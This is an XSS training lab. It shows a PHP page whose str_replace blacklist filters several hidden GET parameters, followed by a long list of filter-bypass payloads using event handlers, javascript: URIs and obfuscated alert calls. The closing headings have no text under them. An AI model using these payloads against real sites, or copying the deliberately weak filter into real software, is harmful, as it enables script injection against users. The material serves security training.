Test XSS with extensive blacklist filtering across multiple parameters
This lab demonstrates an extensive blacklist filtering approach applied to multiple hidden parameters. The filter includes case variations, multiple event handlers, and dangerous functions, making this a challenging test of advanced bypass techniques.
# use arjun tool to find hidden parameters: id, cat, page, number, page_id, categoryid
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <ScRiPt>alert(1)</ScRiPt>
Output: <>()</>
Objective: Discover all 7 hidden parameters and find creative ways to bypass the extensive blacklist filtering to execute XSS payloads.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
$arr = array('details','alert','confirm','prompt','eval','details',
'ontoggle','onmousemove','onmouseover',
'script','Script','sCript','scRipt','scrIpt','scriPt',
'scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT',
'script','img','image','svg','onfocus');
$re = str_replace($arr, '', $_GET['id']);
echo $re;
}
// Same filter applied to: cat, page, number, page_id, categoryid
<iframe src=javascript:alert(1)><body onload=window['al'+'ert'](1)><marquee onstart=alert(1)></marquee><object data=javascript:alert(1)><embed src=javascript:alert(1)><audio src=x onerror=alert(1)><video src=x onerror=alert(1)><script>window['al'+'ert'](1)</script><script>this['al'+'ert'](1)</script><script>self['al'+'ert'](1)</script><script>top['al'+'ert'](1)</script><script>parent['al'+'ert'](1)</script><script>frames['al'+'ert'](1)</script><script>window['alert'](1)</script><script>window['\x61lert'](1)</script><script>window['\141lert'](1)</script><script>window[`al${''}ert`](1)</script><script>window['al'['concat']('ert')](1)</script><script>print()</script><script>open()</script><script>console.log(1)</script><script>setTimeout('al'+'ert(1)')</script><script>setInterval('al'+'ert(1)')</script><script>location='javascript:al'+'ert(1)'</script>The current filter is extensive but still has limitations:
Comprehensive blacklist filtering demonstrates:
For truly secure web applications: